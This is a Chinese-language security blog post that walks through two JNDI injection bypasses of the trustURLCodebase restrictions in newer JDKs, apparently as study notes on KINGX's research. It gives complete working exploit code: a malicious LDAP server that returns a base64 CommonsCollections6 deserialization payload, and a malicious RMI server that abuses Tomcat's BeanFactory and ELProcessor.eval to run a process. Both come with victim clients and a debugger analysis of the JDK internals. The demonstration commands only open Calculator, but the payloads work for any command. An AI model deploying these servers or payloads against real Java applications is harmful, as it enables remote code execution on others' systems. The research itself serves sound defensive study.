JNDI 注入利用 Bypass 高版本 JDK 限制

0x00 前言

JNDI 注入利用非常广泛但是在高版本 JDK 中由于默认 codebase 为 true 从而导致客户端默认不会请求远程Server上的恶意 Class,不过这种手法也有 Bypass 的方式,本文主要学习 KINGX 师傅所提出的两种 Bypass 的方法

KINGX 师傅文章链接:https://mp.weixin.qq.com/s/Dq1CPbUDLKH2IN0NA_nBDA

JNDI 注入通常利用 rmi 、ldap 两种方式来进行利用,其中 ldap 所适用的 JDK 版本更加多一些

RMI:JDK 8u113、JDK 7u122、JDK 6u132 起 codebase 默认为 true

LDAP:JDK 11.0.1、JDK 8u191、JDK 7u201、JDK 6u211 起 codebase 默认为 true

关于 JNDI 注入的文章可以看KINGX师傅的

文章链接:https://mp.weixin.qq.com/s?__biz=MzAxNTg0ODU4OQ==&mid=2650358440&idx=1&sn=e005f721beb8584b2c2a19911c8fef67&chksm=83f0274ab487ae5c250ae8747d7a8dc7d60f8c5bdc9ff63d0d930dca63199f13d4648ffae1d0&scene=21#wechat_redirect

0x01 Bypass 1:返回序列化Payload,触发本地Gadget

由于在高版本 JDK 中 codebase 默认为 true 就导致客户端无法请求未受信任的远程Server上的 class,所以既然不能远程那么就尝试来攻击本地 classpath

当我们开启一个恶意的 Server 并控制返回的数据,由于返回的数据是序列化的,所以当客户端接收到数据之后会进行反序列化操作,那么如果客户端本地存在有反序列化漏洞的组件那么就可以直接触发

Evil LDAP Server

/**
 * In this case
 * Server return Serialize Payload, such as CommonsCollections
 * if Client's ClassPath exists lib which is vulnerability version So We can use it
 * Code part from marshalsec
 */
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.text.ParseException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

public class HackerLdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] args ) {
        int port = 1389;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
            config.addInMemoryOperationInterceptor(new OperationInterceptor());
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    // in this class remove the construct
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = "Exploit";
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, ParseException {
            e.addAttribute("javaClassName", "foo");
            // java -jar ysoserial-master-d367e379d9-1.jar CommonsCollections6 'open /System/Applications/Calculator.app'|base64
            e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AChvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

这里返回的是 CommonsCollections6 的序列化 payload ,所以本地 classpath 需要有这个包,添加到 pom.xml 中

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>

Victim Client

package JNDI.LocalGadgetBypass.Client;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;

/**
 * codebase: true (means client will not download class from remote Server which is unreliable)
 */
public class VictimClient {
    public static void main(String[] args) throws NamingException {
        Hashtable<String,String> env = new Hashtable<>();
        Context context = new InitialContext(env);
        context.lookup("ldap://127.0.0.1:1389/Exploit"); 
    }
}

可以看到意料之内的弹出了计算器

image-20211126092133654

分析

上面的 恶意 LDAP Server 中其实最关键的是以下这个函数

可以看到该函数中将序列化payload放到了 javaSerializedData 变量中

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, ParseException {
            e.addAttribute("javaClassName", "foo");
            // java -jar ysoserial-master-d367e379d9-1.jar CommonsCollections6 'open /System/Applications/Calculator.app'|base64
            e.addAttribute("javaSerializedData", Base64.decode("序列化payload"));
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

接下来我们来进行正向分析,同时想清楚作者是如何发现 javaSerializedData 这个变量的

因为恶意Server只是返回序列化payload,所以在调试分析中并不是我关注的重点,我所关注的是客户端是如何将返回的数据进行反序列化并进行触发,所以我在 lookup 处打了断点

image-20211126093005807

前期我们只需要重点关注 lookup 就行了,不断的进行跟进

最后会来到 com.sun.jndi.ldap.LdapCtx#c_lookup,我们这里注意到 JAVA_ATTRIBUTES 变量

image-20211126093435230

JAVA_ATTRIBUTES 为一个 String 数组,这里的 JAVA_ATTRIBUTES[2] 对应的就是 javaClassName ,也就是说如果 javaClassName 不为 null 那么就会调用 Obj.decodeObject 来处理 var4

static final String[] JAVA_ATTRIBUTES = new String[]{"objectClass", "javaSerializedData", "javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames", "javaRemoteLocation"};

这里的 var4 就是恶意 Server 所返回的值

image-20211126093828747

    protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, ParseException {
        e.addAttribute("javaClassName", "foo");
        e.addAttribute("javaSerializedData", Base64.decode("序列化payload"));
        result.sendSearchEntry(e);
        result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
    }

跟进 decodeObject 函数,在该函数中对不同的返回值的情况做了不同的处理,这个地方非常关键我们来仔细分析一下

image-20211126094006014

这三个判断主要针对返回值的不同来进行不同的调用,其中第一个判断就是我们 bypass 的触发点

            if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
                ClassLoader var3 = helper.getURLClassLoader(var2);
                return deserializeObject((byte[])((byte[])var1.get()), var3);
            } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
                return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
            } else {
                var1 = var0.get(JAVA_ATTRIBUTES[0]);
                return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
            }

先来看第一个判断

JAVA_ATTRIBUTES[1] => javaSerializedData

在第一个判断中会判断我们返回的值获取 javaSerializedData 所对应的值,如果不为 null 的话就会调用 deserializeObject 进行反序列化,这不就是我们当前的 bypass 手法嘛

所以如果我们当前 classpath 中存在 CommonsCollections 3.1-3.2.1 那么这里就会直接进行触发

if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
  ClassLoader var3 = helper.getURLClassLoader(var2);
  return deserializeObject((byte[])((byte[])var1.get()), var3);
}

接下来看第二个判断

JAVA_ATTRIBUTES[7] => javaRemoteLocation,JAVA_ATTRIBUTES[2] => javaClassName

如果返回值中 javaRemoteLocation 对应的数值不为 null 就会调用 decodeRmiObject 函数

else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
                return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
            } 

在 decodeRmiObject 中 new 了一个 Reference并进行返回

接下来看第三个判断

这个判断其实就是 jndi 注入的触发点,即远程加载 class 并反序列化

else {
                var1 = var0.get(JAVA_ATTRIBUTES[0]);
                return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
            }

image-20211126110826337

然后就是 urlclassloader 远程获取并进行反序列化操作

image-20211126110728734

RefAddr var17 = (RefAddr)deserializeObject(var13.decodeBuffer(var6.substring(var19)), var14);
var15.setElementAt(var17, var12);

0x02 Bypass 2:利用本地Class作为Reference Factory

RMI 返回的 Reference 对象会指定一个 Factory,正常情况下会调用 factory.getObjectInstance 来远程获取外部对象实例,但是由于 codebase 限制,我们不能加载未受信任的地址。

所以我们可以构造 Reference 并将其指向我们本地 classpath 中存在的类,但是该类必须要符合一些条件(下文有介绍)

本种bypass方法利用了 org.apache.naming.factory.BeanFactory ,中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

该包存在于 Tomcat 依赖包所以应用还是比较广泛

image-20211125103910510

Evil RMI Server

package JNDI.FactoryBypass.Server;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class HackerRmiServer {
    public static void lanuchRMIregister(Integer rmi_port) throws Exception {

        System.out.println("Creating RMI Registry, RMI Port:"+rmi_port);
        Registry registry = LocateRegistry.createRegistry(rmi_port);
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/usr/bin/open','/System/Applications/Calculator.app']).start()\")"));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);
        System.out.println(referenceWrapper.getReference());

    }

    public static void main(String[] args) throws Exception {
        lanuchRMIregister(1099);
    }
}

pom.xml

        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>9.0.20</version>
        </dependency>

        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-dbcp</artifactId>
            <version>9.0.8</version>
        </dependency>

        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-jasper</artifactId>
            <version>9.0.20</version>
        </dependency>

Victim Client

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;

public class VictimClient {
    public static void main(String[] args) throws NamingException {
        Hashtable<String,String> env = new Hashtable<>();
        Context context = new InitialContext(env);
        context.lookup("rmi://127.0.0.1:1099/Exploit");
    }
}

分析

客户端前期获取 stub 的过程这边就不多介绍了,感兴趣的师傅可以自己调试一下

com.sun.jndi.rmi.registry#RegistryContext

这里的 var2 就是 stub,我们直接跟进 decodeObject

image-20211126192946041

来看 decodeObject 函数,前半部分就是获取 Reference 然后赋值给 var8 ,接下来会有一个判断:

  1. 获取到的 Reference 是否为null
  2. Reference 中 classFactoryLocation 是否为null
  3. trustURLCodebase 是否为 true

由于是 bypass jndi 所以 codebase 自然是为 true 的 ,同时这里的 classFactoryClassLocation 也为 null 所以进入到 NamingManager.getObjectInstance

image-20211126193619248

NamingManager.getObjectInstance

在前面有说到客户端收到 RMI Server 返回到 reference ,其中 reference 会指向一个 factory,所以首先调用 String f = ref.getFactoryClassName(); 将 reference 中指向的 factory 获取其名字,然后传入 getObjectFactoryFromReference(ref, f); 在该函数中会将 factory 进行实例化

image-20211126193833519

在 getObjectFactoryFromReference 中对 factory 进行了实例化,这里的 factory 就是我们恶意 RMI Server 中构造 reference 所指向的 factory org.apache.naming.factory.BeanFactory

image-20211126194401891

重新回到 NamingManager.getObjectInstance ,这里的 factory 已实例化,接下来掉用了 factory 的 getObjectInstance 函数

所以这里其实我们可以看到这里我们 reference 指定的 factory 类并不是任意都可以的,必须要有 getObjectInstance 方法

factory#getObjectInstance 方法就是用来获取远程对象实例的

image-20211126194713809

接下来就会来到我们指定的 org.apache.naming.factory.BeanFactory 中的 getObjectInstance 方法

在分析函数之前我们先来看看我们 RMI Server 上的 payload

        // 指定了执行了 className 为 javax.el.ELProcessor ,在 getObjectInstance 中会调用 getClassName 获取 className 并进行世例化
                ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
                // 设置 forceString 为 x=eval
        ref.add(new StringRefAddr("forceString", "x=eval"));
                // 同样对 x 进行设置,具体原因看下文 
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/usr/bin/open','/System/Applications/Calculator.app']).start()\")"));

在 getObjectInstance 函数的开头,通过 getClassName 获取了我们 payload 中指定的 javax.el.ELProcessor 类并进行了实例化

(为什么要指定这个类在下文进行介绍)

image-20211126200645956

继续看函数的下半部分,首先对 javax.el.ELProcessor 进行了实例化,并调用 ref.get("forceString") 获取到 ra

Type: forceString
Content: x=eval

来到 if 里面,通过 getContent 获取值 x=eval ,然后会设置参数类型为 String,Class<?>[] paramTypes = new Class[]{String.class};,如果value 中存在 , 就进行分割

接下来会获取 value 中 = 的索引位置,如果value中存在 = 就会进行分割赋值,如果不存在 = 就会获取param 的 set 函数

如 param 为 demo => setDemo

然后来到 forced.put(param, beanClass.getMethod(propName, paramTypes)); 将 param 和 方法添加到 forced 这个map 中

image-20211126201150756

然后从 forced 中取出方法进行反射调用

image-20211126202759211

所以这里就来解释一下为什么找 public java.lang.Object javax.el.ELProcessor.eval(java.lang.String) 而不是其他类

其实从上面的代码可看出要想被添加到 forced 中需要符合一些条件

  1. 目标类必须有无参构造函数 => beanClass.getConstructor().newInstance()
  2. 函数要为 public 同时参数类型为 String => forced.put(param, beanClass.getMethod(propName, paramTypes));

image-20211126202255451

所以这里要实现 RCE 的化ELProcessor#eval 自然是最合适不过的了

image-20211126202726374

所以作者显示寻找到了 org.apache.naming.factory.BeanFactory 然后在该类的 getObjectInstance 方法中能调用符合特定要求的 String 方法,所以作者寻找到了 javax.el.ELProcessor#eval 并在 getObjectInstance 中通过反射实例化了 ELProcessor 类最终调用 eval 方法

0x03 参考链接

https://www.veracode.com/blog/research/exploiting-jndi-injections-java

https://mp.weixin.qq.com/s/Dq1CPbUDLKH2IN0NA_nBDA

评论

  1. KpLi0rn 博主
    3 年前
    2021-11-26 21:53:03

    跟着P3rh4ps学java!

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇